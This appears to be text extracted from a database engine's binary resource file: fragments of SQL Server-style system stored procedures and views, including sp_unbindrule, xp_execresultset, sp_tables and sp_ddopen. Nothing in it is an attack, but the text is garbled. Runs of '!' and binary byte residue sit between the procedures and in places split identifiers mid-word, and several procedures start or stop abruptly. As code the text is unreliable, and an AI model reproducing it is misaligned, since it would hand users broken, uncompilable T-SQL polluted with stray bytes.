			-- EMDEventType(x_eet_Unbind_Rule), EMDUniversalClass(x_eunc_Table), src major id, src minor id, src name
			-- -1 means ignore target, target major id, target minor id, target name,
			-- # of parameters, 5 parameters
			EXEC %%System().FireTrigger(ID = 243, ID = 1, ID = @obj_id, ID = @col_id, Value = @UnqualObj,
				ID = -1, ID = 0, ID = 0, Value = NULL, ID = 2,
				Value = @objname, Value = @futureonly, Value = NULL, Value = NULL, Value = NULL, Value = NULL, Value = NULL)

			COMMIT TRANSACTION
			raiserror(15522,-1,-1)
		end
	end

	if @obj_id is null
	begin

		BEGIN TRANSACTION

		if @QualObj2 is null
			select @oldrule = rule_object_id, @xusertype = user_type_id,
					@schid = schema_id
				from sys.types
				where user_type_id = type_id(@objname)

		-- Ex-lock and check permission
		if not (@xusertype is null)
		begin
			EXEC %%ScalarType(MultiName = @objname).LockMatchID(ID = @xusertype, Exclusive = 1)
			if (@@error <> 0)
				select @xusertype = null
		end

		if @xusertype is null
		begin
			COMMIT TRANSACTION
			raiserror(15148,-1,-1,@objname)
			return (1)
		end

		if @oldrule = 0
		begin
			COMMIT TRANSACTION
			raiserror(15239,-1,-1,@UnqualObj)
			return (1)
		end

		EXEC %%ScalarType(ID = @xusertype).SetRule(ID = 0)

		raiserror(15523,-1,-1)

		select @futureonly = lower(@futureonly)
		if isnull(@futureonly, ' ') <> @futurevalue
		begin
			declare	@cur_tab_id		int
					,@bad_tab_id	int

			select	@cur_tab_id = 0		-- detect table id change for lock schema
					,@bad_tab_id = 0	-- skip bad tables (dropped, etc)

			declare ms_crs_unbindrule_1 cursor local static for
			select	distinct
					o.object_id, schema_name(o.schema_id), o.name, c.column_id
				from	sys.columns c join sys.tables o
					on c.object_id = o.object_id
				where c.user_type_id = @xusertype
					and ( (c.rule_object_id = 0) or
						  (c.rule_object_id = @oldrule))
					order by o.object_id
					for read only

			open ms_crs_unbindrule_1

			fetch next from ms_crs_unbindrule_1 into
				@obj_id, @owner_name, @obj_name, @col_id

			while @@fetch_status = 0
			begin

				if @cur_tab_id <> @obj_id	-- not same table
				begin
					select @cur_tab_id = @obj_id
					select @vc1 = quotename(@owner_name) + '.' + quotename(@obj_name)

					EXEC %%Object(MultiName = @vc1).LockMatchID(ID = @obj_id, Exclusive = 1, BindInternal = 0)
					if @@error <> 0			-- bad table, eg. removed
						select @bad_tab_id = @obj_id
				end

				if @bad_tab_id <> @obj_id	-- table schema locked
				begin
					-- Column cannot be dropped due to type shared lock
					select @colname = COL_NAME(@obj_id, @col_id)
					EXEC %%ColumnEx(ObjectID = @obj_id, Name = @colname).SetRule(ID = 0)
				end

				fetch next from ms_crs_unbindrule_1 into
					@obj_id, @owner_name, @obj_name, @col_id

			end

			deallocate ms_crs_unbindrule_1
			raiserror(15524,-1,-1)
		end

		-- EMDEventType(x_eet_Unbind_Rule), EMDUniversalClass(x_eunc_Type), src major id, src minor id, src name
		-- -1 means ignore target, target major id, target minor id, target name,
		-- # of parameters, 5 parameters
		EXEC %%System().FireTrigger(ID = 243, ID = 6, ID = @xusertype, ID = 0, Value = NULL,
			ID = -1, ID = 0, ID = 0, Value = NULL, ID = 2,
			Value = @objname, Value = @futureonly, Value = NULL, Value = NULL, Value = NULL, Value = NULL, Value = NULL)
		COMMIT TRANSACTION
	end

	return (0)	--sp_unbindrule
0Uz 8CREATE VIEW sys.dm_db_persisted_sku_features AS
	SELECT feature_name, feature_id
	FROM OpenRowset(TABLE persisted_sku_features)
0 8 
-- add it
create view sys.dm_pdw_nodes_os_memory_pools as
select *, convert(int, null) pdw_node_id from sys.dm_os_memory_pools
0>y@ k8create procedure sys.xp_execresultset
(
    @cmd    nvarchar(4000),
    @dbname    sysname = NULL,
    @debug    bit = 0
)
as
begin
    declare @retcode bit,
            @proc nvarchar(4000)
    
    -- check to ensure that the @dbname provided is neither null or empty
    if isnull(rtrim(@dbname), N'') = N''
    begin
        raiserror('Internal Error : @dbname cannot be null or empty.', 16, -1)
        return 1
    end
    
    select @proc = quotename(@dbname) + N'.dbo.sp_execresultset' 
    exec @retcode = @proc @cmd, @debug
    
    return @retcode
end
0 P8ph>@!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\`<)8v<ALOG_NAME                 = s_scrvov.SS_TYPE_CATALOG_NAME,
            SS_TYPE_SCHEMA_NAME                  = s_scrvov.SS_TYPE_SCHEMA_NAME,
            SS_UDT_CATALOG_NAME                  = s_scrvov.SS_UDT_CATALOG_NAME,
            SS_UDT_SCHEMA_NAME                   = s_scrvov.SS_UDT_SCHEMA_NAME,
            SS_UDT_ASSEMBLY_TYPE_NAME            = s_scrvov.SS_UDT_ASSEMBLY_TYPE_NAME,
            SS_XML_SCHEMACOLLECTION_CATALOG_NAME = s_scrvov.SS_XML_SCHEMACOLLECTION_CATALOG_NAME,
            SS_XML_SCHEMACOLLECTION_SCHEMA_NAME  = s_scrvov.SS_XML_SCHEMACOLLECTION_SCHEMA_NAME,
            SS_XML_SCHEMACOLLECTION_NAME         = s_scrvov.SS_XML_SCHEMACOLLECTION_NAME,
            SS_DATA_TYPE                = s_scrvov.SS_DATA_TYPE
        from
            sys.spt_sproc_columns_return_values_odbc_view s_scrvov
        where
            s_scrvov.object_id = @procedure_id and
            (
                @column_name is null or
                @column_name = '@RETURN_VALUE' or
                @column_name = '@TABLE_RETURN_VALUE'
            ) and
            (s_scrvov.procedure_number between @group_num_lower and @group_num_upper)

        order by 1, 2, 3, 18
    end
    else
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'THERE IS pattern matching!'
        print isnull(convert(sysname, @procedure_id),   '@procedure_id = null')
        print isnull(@full_procedure_name,              '@full_procedure_name = null')
        print isnull(@procedure_name,                   '@procedure_name = null')
        print isnull(@procedure_owner,                  '@procedure_owner = null')
        print isnull(@procedure_qualifier,              '@procedure_qualifier = null')
        print isnull(@column_name,                      '@column_name = null')
        print isnull(@ODBCVer,                          '@ODBCVer = null')
        print '*************'
        */

        --
        -- SLOOOOOW!
        --
        if @procedure_owner is null
            select @procedure_owner = '%'

        select
            PROCEDURE_QUALIFIER         = s_scov.PROCEDURE_QUALIFIER,
            PROCEDURE_OWNER             = s_scov.PROCEDURE_OWNER,
            PROCEDURE_NAME              = convert(nvarchar(134),
                                            s_scov.PROCEDURE_NAME +';'+ ltrim(str(s_scov.procedure_number,5))),
            COLUMN_NAME                 = s_scov.COLUMN_NAME,
            COLUMN_TYPE                 = s_scov.COLUMN_TYPE,
            DATA_TYPE                   = s_scov.DATA_TYPE,
            TYPE_NAME                   = s_scov.TYPE_NAME,
            "PRECISION"                 = s_scov.PRECISION,
            "LENGTH"                    = s_scov.LENGTH,
            SCALE                       = s_scov.SCALE,
            RADIX                       = s_scov.RADIX,
            NULLABLE                    = s_scov.NULLABLE,
            REMARKS                     = s_scov.REMARKS,
            COLUMN_DEF                  = s_scov.COLUMN_DEF,
            SQL_DATA_TYPE               = s_scov.SQL_DATA_TYPE,
            SQL_DATETIME_SUB            = s_scov.SQL_DATETIME_SUB,
            CHAR_OCTET_LENGTH           = s_scov.CHAR_OCTET_LENGTH,
            ORDINAL_POSITION            = s_scov.ORDINAL_POSITION,
            IS_NULLABLE                 = s_scov.IS_NULLABLE,
            SS_TYPE_CATALOG_NAME                 = s_scov.SS_TYPE_CATALOG_NAME,
            SS_TYPE_SCHEMA_NAME                  = s_scov.SS_TYPE_SCHEMA_NAME,
            SS_UDT_CATALOG_NAME                  = s_scov.SS_UDT_CATALOG_NAME,
            SS_UDT_SCHEMA_NAME                   = s_scov.SS_UDT_SCHEMA_NAME,
            SS_UDT_ASSEMBLY_TYPE_NAME            = s_scov.SS_UDT_ASSEMBLY_TYPE_NAME,
            SS_XML_SCHEMACOLLECTION_CATALOG_NAME = s_scov.SS_XML_SCHEMACOLLECTION_CATALOG_NAME,
            SS_XML_SCHEMACOLLECTION_SCHEMA_NAME  = s_scov.SS_XML_SCHEMACOLLECTION_SCHEMA_NAME,
            SS_XML_SCHEMACOLLECTION_NAME         = s_scov.SS_XML_SCHEMACOLLECTION_NAME,
            SS_DATA_TYPE                = s_scov.SS_DATA_TYPE
        from
            sys.spt_sproc_columns_odbc_view s_scov
        where
            s_scov.PROCEDURE_NAME like @procedure_name and
            (@column_name is null or s_scov.COLUMN_NAME like @column_name) and
            s_scov.odbcver = @ODBCVer and
            (s_scov.procedure_number between @group_num_lower and @group_num_upper) and
            schema_name(s_scov.schema_id) like @procedure_owner

        UNION ALL

        select         -- procedure return value & table valued functions
            PROCEDURE_QUALIFIER         = s_scrvov.PROCEDURE_QUALIFIER,
            PROCEDURE_OWNER             = s_scrvov.PROCEDURE_OWNER,
            PROCEDURE_NAME              = convert(nvarchar(134),
                                            s_scrvov.PROCEDURE_NAME +';'+ ltrim(str(s_scrvov.procedure_number,5))),
            COLUMN_NAME                 = s_scrvov.COLUMN_NAME,
            COLUMN_TYPE                 = s_scrvov.COLUMN_TYPE,
            DATA_TYPE                   = s_scrvov.DATA_TYPE,
            TYPE_NAME                   = s_scrvov.TYPE_NAME,
            "PRECISION"                 = s_scrvov.PRECISION,
            "LENGTH"                    = s_scrvov.LENGTH,
            SCALE                       = s_scrvov.SCALE,
            RADIX                       = s_scrvov.RADIX,
            NULLABLE                    = s_scrvov.NULLABLE,
            REMARKS                     = s_scrvov.REMARKS,
            COLUMN_DEF                  = s_scrvov.COLUMN_DEF,
            SQL_DATA_TYPE               = s_scrvov.SQL_DATA_TYPE,
            SQL_DATETIME_SUB            = s_scrvov.SQL_DATETIME_SUB,
            CHAR_OCTET_LENGTH           = s_scrvov.CHAR_OCTET_LENGTH,
            ORDINAL_POSITION            = s_scrvov.ORDINAL_POSITION,
            IS_NULLABLE                 = s_scrvov.IS_NULLABLE,
            SS_TYPE_CATALOG_NAME                 = s_scrvov.SS_TYPE_CATALOG_NAME,
            SS_TYPE_SCHEMA_NAME                  = s_scrvov.SS_TYPE_SCHEMA_NAME,
            SS_UDT_CATALOG_NAME                  = s_scrvov.SS_UDT_CATALOG_NAME,
            SS_UDT_SCHEMA_NAME                   = s_scrvov.SS_UDT_SCHEMA_NAME,
            SS_UDT_ASSEMBLY_TYPE_NAME            = s_scrvov.SS_UDT_ASSEMBLY_TYPE_NAME,
            SS_XML_SCHEMACOLLECTION_CATALOG_NAME = s_scrvov.SS_XML_SCHEMACOLLECTION_CATALOG_NAME,
            SS_XML_SCHEMACOLLECTION_SCHEMA_NAME  = s_scrvov.SS_XML_SCHEMACOLLECTION_SCHEMA_NAME,
            SS_XML_SCHEMACOLLECTION_NAME         = s_scrvov.SS_XML_SCHEMACOLLECTION_NAME,
            SS_DATA_TYPE                = s_scrvov.SS_DATA_TYPE
        from
            sys.spt_sproc_columns_return_values_odbc_view s_scrvov
        where
            s_scrvov.PROCEDURE_NAME like @procedure_name and
            schema_name(s_scrvov.schema_id) like @procedure_owner and
            (
                @column_name is null or
                @column_name = '@RETURN_VALUE' or
                @column_name = '@TABLE_RETURN_VALUE'
            ) and
            (s_scrvov.procedure_number between @group_num_lower and @group_num_upper)

        order by 1, 2, 3, 18
    end

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(}9=v
create procedure sys.sp_tables
(
    @table_name         nvarchar(384)   = null,
    @table_owner        nvarchar(384)   = null,
    @table_qualifier    sysname = null,
    @table_type         varchar(100) = null,
    @fUsePattern        bit = 1 -- To allow users to explicitly disable all pattern matching.
)
as
    declare @type1      varchar(3)
    declare @qual_name  nvarchar(517) -- [schema].[table]
    declare @table_id   int

    if @table_qualifier = '%' and @table_owner = '' and @table_name = ''
    begin
        -- Debug output, do not remove it.
        -- print 'Special feature #1:  enumerate databases when owner and name are blank but qualifier is explicitly "%".'
        select
            TABLE_QUALIFIER = convert(sysname,d.name),
            TABLE_OWNER     = convert(sysname,null),
            TABLE_NAME      = convert(sysname,null),
            TABLE_TYPE      = convert(varchar(32),null),
            REMARKS         = convert(varchar(254),null)    -- Remarks are NULL.
        from
            sys.databases d
        where
            d.name <> 'model' -- eliminate MODEL database
        order by 1
        return
    end

    if @table_qualifier = '' and @table_owner = '%' and @table_name = ''
    begin
        -- Debug output, do not remove it.
        -- print 'Special feature #2:  enumerate owners when qualifier and name are blank but owner is explicitly "%".
        select distinct
            TABLE_QUALIFIER = convert(sysname,null),
            TABLE_OWNER     = convert(sysname,schema_name(o.schema_id)),
            TABLE_NAME      = convert(sysname,null),
            TABLE_TYPE      = convert(varchar(32),null),
            REMARKS         = convert(varchar(254),null)    -- Remarks are NULL.
        from
            sys.all_objects o
        where
            o.type in ('S','U','V')  -- limit columns to tables and views only
        order by 2
        return
    end

    if @table_qualifier = '' and @table_owner = '' and @table_name = '' and @table_type = '%'
    begin
        -- Debug output, do not remove it.
        -- print 'Special feature #3:  enumerate table types when qualifier, owner and name are blank but table type is explicitly "%".'
        select
            TABLE_QUALIFIER = convert(sysname,null),
            TABLE_OWNER     = convert(sysname,null),
            TABLE_NAME      = convert(sysname,null),
            TABLE_TYPE      = convert(varchar(32),
                                        rtrim(substring('SYSTEM TABLETABLE       VIEW',(c.column_id-1)*12+1,12))),
            REMARKS         = convert(varchar(254),null)    -- Remarks are NULL.
        from
            sys.all_objects o,
            sys.all_columns c
        where
            o.object_id = c.object_id and o.object_id = object_id('sysusers') and
            c.column_id <= 3 -- ISSUE - what is this for ???
        return
    end

    --
    -- End of special features - do normal processing.
    --

    if @table_qualifier is not null
    begin
        if db_name() <> @table_qualifier
        begin
            if @table_qualifier = ''
            begin  -- If empty qualifier supplied, force an empty result set.
                select @table_name = ''
                select @table_owner = ''
            end
            else
            begin   -- If qualifier doesn't match current database.
                raiserror (15250, -1,-1)
                return
            end
        end
    end
    select @table_qualifier = null -- it's not needed anymore

    if @table_type is null
    begin   -- Select all ODBC supported table types.
        select @type1 = 'SUV'
    end
    else
    begin
        -- TableType is case sensitive if CS server.
        if (charindex('''SYSTEM TABLE''',@table_type) <> 0)
            select @type1 = 'S' -- Add System Tables.
        else
            select @type1 = ''
        if (charindex('''TABLE''',@table_type) <> 0)
            select @type1 = @type1 + 'U' -- Add User Tables.
        if (charindex('''VIEW''',@table_type) <> 0)
            select @type1 = @type1 + 'V' -- Add Views.
    end

    if @table_name is not null
    begin
        if (@table_owner is null) and (charindex('%', @table_name) = 0)
        begin   -- If owner not specified and table contains wildchar.
            if exists
            (
                select
                        *
                from
                        sys.all_objects o
                where
                        o.schema_id = schema_id() and
                        o.object_id = object_id(@table_name) and
                        o.type in ('U','V','S')
            )
            begin   -- Override supplied owner w/owner of table.
                select @table_owner = schema_name()
            end
        end
    end

    select @qual_name = isnull(quotename(@table_owner), '') + '.' + quotename(@table_name)
    select @table_id = object_id(@qual_name)

    if (@fUsePattern = 1) -- Does the user want it?
    begin
        if ((isnull(charindex('%', @table_name),0) = 0) and
            (isnull(charindex('_', @table_name),0) = 0) and
            (isnull(charindex('%', @table_owner),0) = 0) and
            (isnull(charindex('_', @table_owner),0) = 0) and
            (@table_id is not null))
        begin
            select @fUsePattern = 0 -- not a single wild char, so go the fast way.
        end
    end

    if @fUsePattern = 0
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'There is NO pattern matching.'
        print @fUsePattern
        print isnull(@table_name, '@table_name = null')
        print isnull(@table_owner, '@table_owner = null')
        print isnull(@table_type, '@table_type = null')
        print isnull(@type1, '@type1 = null')
        print '*************'
        */
        select
            TABLE_QUALIFIER = convert(sysname,db_name()),
            TABLE_OWNER     = convert(sysname,schema_name(o.schema_id)),
            TABLE_NAME      = convert(sysname,o.name),
            TABLE_TYPE      = convert(varchar(32),
                                        rtrim(substring('SYSTEM TABLE            TABLE       VIEW       ',
                                        (ascii(o.type)-83)*12+1,12))  -- 'S'=0,'U'=2,'V'=3
                                     ),
            REMARKS = convert(varchar(254),null)    -- Remarks are NULL.

        from
            sys.all_objects o

        where
            o.object_id = @table_id and
            o.type in ('S','U','V') and
            has_perms_by_name(@qual_name, 'object', 'select') = 1 and
            charindex(substring(o.type,1,1),@type1) <> 0 -- Only desired types.
        order by 4, 1, 2, 3
    end
    else
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'THERE IS pattern matching!'
        print @fUsePattern
        print isnull(@table_name, '@table_name = null')
        print isnull(@table_owner, '@table_owner = null')
        print isnull(@table_type, '@table_type = null')
        print isnull(@type1, '@type1 = null')
        print '*************'
        */
        select
            TABLE_QUALIFIER = convert(sysname,db_name()),
            TABLE_OWNER     = convert(sysname,schema_name(o.schema_id)),
            TABLE_NAME      = convert(sysname,o.name),
            TABLE_TYPE      = convert(varchar(32),
                                        rtrim(substring('SYSTEM TABLE            TABLE       VIEW       ',
                                              (ascii(o.type)-83)*12+1,
                                              12))  -- 'S'=0,'U'=2,'V'=3
                                     ),
            REMARKS = convert(varchar(254),null)    -- Remarks are NULL.

        from
            sys.all_objects o

        where
            o.type in ('S','U','V') !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(:yvOY
create procedure sys.sp_ddopen;3
(
    @handle         int output,
    @procname       sysname,
    @scrollopt      int output,
    @ccopt          int output,
    @rows           int output,
    @p1             nvarchar(774),
    @p2             nvarchar(774),
    @p3             nvarchar(774),
    @p4             nvarchar(774),
    @p5             nvarchar(774),
    @NameScope      int,
    @ODBCVer        int,
    @fUsePattern    bit -- To allow users to explicitly disable all pattern matching.
)
as
    set nocount on
    declare @ret int

    if @procname = 'sp_columns' or @procname = '[sys].sp_columns'
    begin
        create table #spcolumns
        (
            TABLE_QUALIFIER sysname collate catalog_default null,
            TABLE_OWNER sysname collate catalog_default null,
            TABLE_NAME sysname collate catalog_default not null,
            COLUMN_NAME sysname collate catalog_default not null,
            DATA_TYPE smallint not null,
            TYPE_NAME sysname collate catalog_default not null,
            PRECISION int null,
            LENGTH int null,
            SCALE smallint null,
            RADIX smallint null,
            NULLABLE smallint not null,
            REMARKS varchar(254) collate catalog_default null,
            COLUMN_DEF nvarchar(4000) collate catalog_default null,
            SQL_DATA_TYPE smallint null,
            SQL_DATETIME_SUB smallint null,
            CHAR_OCTET_LENGTH int null,
            ORDINAL_POSITION int not null,
            IS_NULLABLE varchar(254) collate catalog_default null,
            SS_DATA_TYPE tinyint null
        )

        insert into #spcolumns exec sys.sp_columns @p1,@p2,@p3,@p4,@ODBCVer

        exec @ret = sp_cursoropen @handle output,
            'select * from #spcolumns',
            @scrollopt output, @ccopt output, @rows output
        drop table #spcolumns
    end
    else if @procname = 'sp_columns_90' or @procname = '[sys].sp_columns_90'
    begin
        create table #spcolumns_90
        (
            TABLE_QUALIFIER sysname collate catalog_default null,
            TABLE_OWNER sysname collate catalog_default null,
            TABLE_NAME sysname collate catalog_default not null,
            COLUMN_NAME sysname collate catalog_default not null,
            DATA_TYPE smallint not null,
            TYPE_NAME sysname collate catalog_default not null,
            PRECISION int null,
            LENGTH int null,
            SCALE smallint null,
            RADIX smallint null,
            NULLABLE smallint not null,
            REMARKS varchar(254) collate catalog_default null,
            COLUMN_DEF nvarchar(4000) collate catalog_default null,
            SQL_DATA_TYPE smallint null,
            SQL_DATETIME_SUB smallint null,
            CHAR_OCTET_LENGTH int null,
            ORDINAL_POSITION int not null,
            IS_NULLABLE varchar(254) collate catalog_default null,
            SS_UDT_CATALOG_NAME sysname collate catalog_default null,
            SS_UDT_SCHEMA_NAME sysname collate catalog_default null,
            SS_UDT_ASSEMBLY_TYPE_NAME nvarchar(4000) collate Latin1_General_BIN null,
            SS_XML_SCHEMACOLLECTION_CATALOG_NAME sysname collate catalog_default null,
            SS_XML_SCHEMACOLLECTION_SCHEMA_NAME sysname collate catalog_default null,
            SS_XML_SCHEMACOLLECTION_NAME sysname collate catalog_default null,
            SS_DATA_TYPE tinyint null
        )

        insert into #spcolumns_90 exec sys.sp_columns_90 @p1,@p2,@p3,@p4,@ODBCVer,@fUsePattern

        exec @ret = sp_cursoropen @handle output,
            'select * from #spcolumns_90',
            @scrollopt output, @ccopt output, @rows output
        drop table #spcolumns_90
    end
    else if @procname = 'sp_columns_100' or @procname = '[sys].sp_columns_100'
    begin
        create table #spcolumns_100
        (
            TABLE_QUALIFIER sysname collate catalog_default null,
            TABLE_OWNER sysname collate catalog_default null,
            TABLE_NAME sysname collate catalog_default not null,
            COLUMN_NAME sysname collate catalog_default not null,
            DATA_TYPE smallint not null,
            TYPE_NAME sysname collate catalog_default not null,
            PRECISION int null,
            LENGTH int null,
            SCALE smallint null,
            RADIX smallint null,
            NULLABLE smallint not null,
            REMARKS varchar(254) collate catalog_default null,
            COLUMN_DEF nvarchar(4000) collate catalog_default null,
            SQL_DATA_TYPE smallint null,
            SQL_DATETIME_SUB smallint null,
            CHAR_OCTET_LENGTH int null,
            ORDINAL_POSITION int not null,
            IS_NULLABLE varchar(254) collate catalog_default null,
            SS_IS_SPARSE smallint null,
            SS_IS_COLUMN_SET smallint null,
            SS_IS_COMPUTED smallint null,
            SS_IS_IDENTITY smallint null,
            SS_UDT_CATALOG_NAME sysname collate catalog_default null,
            SS_UDT_SCHEMA_NAME sysname collate catalog_default null,
            SS_UDT_ASSEMBLY_TYPE_NAME nvarchar(4000) collate Latin1_General_BIN null,
            SS_XML_SCHEMACOLLECTION_CATALOG_NAME sysname collate catalog_default null,
            SS_XML_SCHEMACOLLECTION_SCHEMA_NAME sysname collate catalog_default null,
            SS_XML_SCHEMACOLLECTION_NAME sysname collate catalog_default null,
            SS_DATA_TYPE tinyint null
        )

        insert into #spcolumns_100 exec sys.sp_columns_100 @p1,@p2,@p3,@p4,@NameScope,@ODBCVer,@fUsePattern

        exec @ret = sp_cursoropen @handle output,
            'select * from #spcolumns_100',
            @scrollopt output, @ccopt output, @rows output
        drop table #spcolumns_100
    end
    else if @procname = 'sp_columns_ex' or @procname = '[sys].sp_columns_ex'
    begin
        create table #spcolumns_ex
        (
            TABLE_QUALIFIER sysname collate catalog_default null,
            TABLE_OWNER sysname collate catalog_default null,
            TABLE_NAME sysname collate catalog_default not null,
            COLUMN_NAME sysname collate catalog_default not null,
            DATA_TYPE smallint not null,
            TYPE_NAME sysname collate catalog_default not null,
            PRECISION int null,
            LENGTH int null,
            SCALE smallint null,
            RADIX smallint null,
            NULLABLE smallint not null,
            REMARKS varchar(254) collate catalog_default null,
            COLUMN_DEF nvarchar(254) collate catalog_default null,
            SQL_DATA_TYPE smallint null,
            SQL_DATETIME_SUB smallint null,
            CHAR_OCTET_LENGTH int null,
            ORDINAL_POSITION int not null,
            IS_NULLABLE varchar(254) collate catalog_default null,
            SS_DATA_TYPE tinyint null
        )

        insert into #spcolumns_ex exec sys.sp_columns_ex @p1,@p2,@p3,@p4,@p5,@ODBCVer

        exec @ret = sp_cursoropen @handle output,
            'select * from #spcolumns_ex',
            @scrollopt output, @ccopt output, @rows output
        drop table #spcolumns_ex
    end
    else if @procname = 'sp_columns_ex_90' or @procname = '[sys].sp_columns_ex_90'
    begin
        create table #spcolumns_ex_90
        (
            TABLE_QUALIFIER sysname collate catalog_default null,
            TABLE_OWNER sysname collate catalog_default null,
            TABLE_NAME sysname collate catalog_default not null,
            COLUMN_NAME sysname collate catalog_default not null,
            DATA_TYPE smallint not null,
            TYPE_NAME sysname collate catalog_default not null,
            PRECISION int null,
            LENGTH int null,
            SCALE smallint null,
            RADIX smallint null,
            NULLABLE smallint not null,
            REMARKS varchar(254) collate catalog_default null,
            COL!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<{4Ss\OYUMN_DEF nvarchar(254) collate catalog_default null,
            SQL_DATA_TYPE smallint null,
            SQL_DATETIME_SUB smallint null,
            CHAR_OCTET_LENGTH int null,
            ORDINAL_POSITION int not null,
            IS_NULLABLE varchar(254) collate catalog_default null,
            SS_UDT_CATALOG_NAME sysname collate catalog_default null,
            SS_UDT_SCHEMA_NAME sysname collate catalog_default null,
            SS_UDT_ASSEMBLY_TYPE_NAME nvarchar(4000) collate Latin1_General_BIN null,
            SS_XML_SCHEMACOLLECTION_CATALOG_NAME sysname collate catalog_default null,
            SS_XML_SCHEMACOLLECTION_SCHEMA_NAME sysname collate catalog_default null,
            SS_XML_SCHEMACOLLECTION_NAME sysname collate catalog_default null,
            SS_DATA_TYPE tinyint null
        )

        insert into #spcolumns_ex_90 exec sys.sp_columns_ex_90 @p1,@p2,@p3,@p4,@p5,@ODBCVer,@fUsePattern

        exec @ret = sp_cursoropen @handle output,
            'select * from #spcolumns_ex_90',
            @scrollopt output, @ccopt output, @rows output
        drop table #spcolumns_ex_90
    end
    else if @procname = 'sp_columns_ex_100' or @procname = '[sys].sp_columns_ex_100'
    begin
        create table #spcolumns_ex_100
        (
            TABLE_QUALIFIER sysname collate catalog_default null,
            TABLE_OWNER sysname collate catalog_default null,
            TABLE_NAME sysname collate catalog_default not null,
            COLUMN_NAME sysname collate catalog_default not null,
            DATA_TYPE smallint not null,
            TYPE_NAME sysname collate catalog_default not null,
            PRECISION int null,
            LENGTH int null,
            SCALE smallint null,
            RADIX smallint null,
            NULLABLE smallint not null,
            REMARKS varchar(254) collate catalog_default null,
            COLUMN_DEF nvarchar(254) collate catalog_default null,
            SQL_DATA_TYPE smallint null,
            SQL_DATETIME_SUB smallint null,
            CHAR_OCTET_LENGTH int null,
            ORDINAL_POSITION int not null,
            IS_NULLABLE varchar(254) collate catalog_default null,
            SS_IS_SPARSE smallint null,
            SS_IS_COLUMN_SET smallint null,
            SS_IS_COMPUTED smallint null,
            SS_IS_IDENTITY smallint null,
            SS_UDT_CATALOG_NAME sysname collate catalog_default null,
            SS_UDT_SCHEMA_NAME sysname collate catalog_default null,
            SS_UDT_ASSEMBLY_TYPE_NAME nvarchar(4000) collate Latin1_General_BIN null,
            SS_XML_SCHEMACOLLECTION_CATALOG_NAME sysname collate catalog_default null,
            SS_XML_SCHEMACOLLECTION_SCHEMA_NAME sysname collate catalog_default null,
            SS_XML_SCHEMACOLLECTION_NAME sysname collate catalog_default null,
            SS_DATA_TYPE tinyint null
        )

        insert into #spcolumns_ex_100 exec sys.sp_columns_ex_100 @p1,@p2,@p3,@p4,@p5,@NameScope,@ODBCVer,@fUsePattern

        exec @ret = sp_cursoropen @handle output,
            'select * from #spcolumns_ex_100',
            @scrollopt output, @ccopt output, @rows output
        drop table #spcolumns_ex_100
    end
    else
    begin
        create table #sptabletypecolumns_100
        (
            TABLE_QUALIFIER sysname collate catalog_default null,
            TABLE_OWNER sysname collate catalog_default null,
            TABLE_NAME sysname collate catalog_default not null,
            COLUMN_NAME sysname collate catalog_default not null,
            DATA_TYPE smallint not null,
            TYPE_NAME sysname collate catalog_default not null,
            PRECISION int null,
            LENGTH int null,
            SCALE smallint null,
            RADIX smallint null,
            NULLABLE smallint not null,
            REMARKS varchar(254) collate catalog_default null,
            COLUMN_DEF nvarchar(4000) collate catalog_default null,
            SQL_DATA_TYPE smallint null,
            SQL_DATETIME_SUB smallint null,
            CHAR_OCTET_LENGTH int null,
            ORDINAL_POSITION int not null,
            IS_NULLABLE varchar(254) collate catalog_default null,
            SS_IS_SPARSE smallint null,
            SS_IS_COLUMN_SET smallint null,
            SS_IS_COMPUTED smallint null,
            SS_IS_IDENTITY smallint null,
            SS_UDT_CATALOG_NAME sysname collate catalog_default null,
            SS_UDT_SCHEMA_NAME sysname collate catalog_default null,
            SS_UDT_ASSEMBLY_TYPE_NAME nvarchar(4000) collate Latin1_General_BIN null,
            SS_XML_SCHEMACOLLECTION_CATALOG_NAME sysname collate catalog_default null,
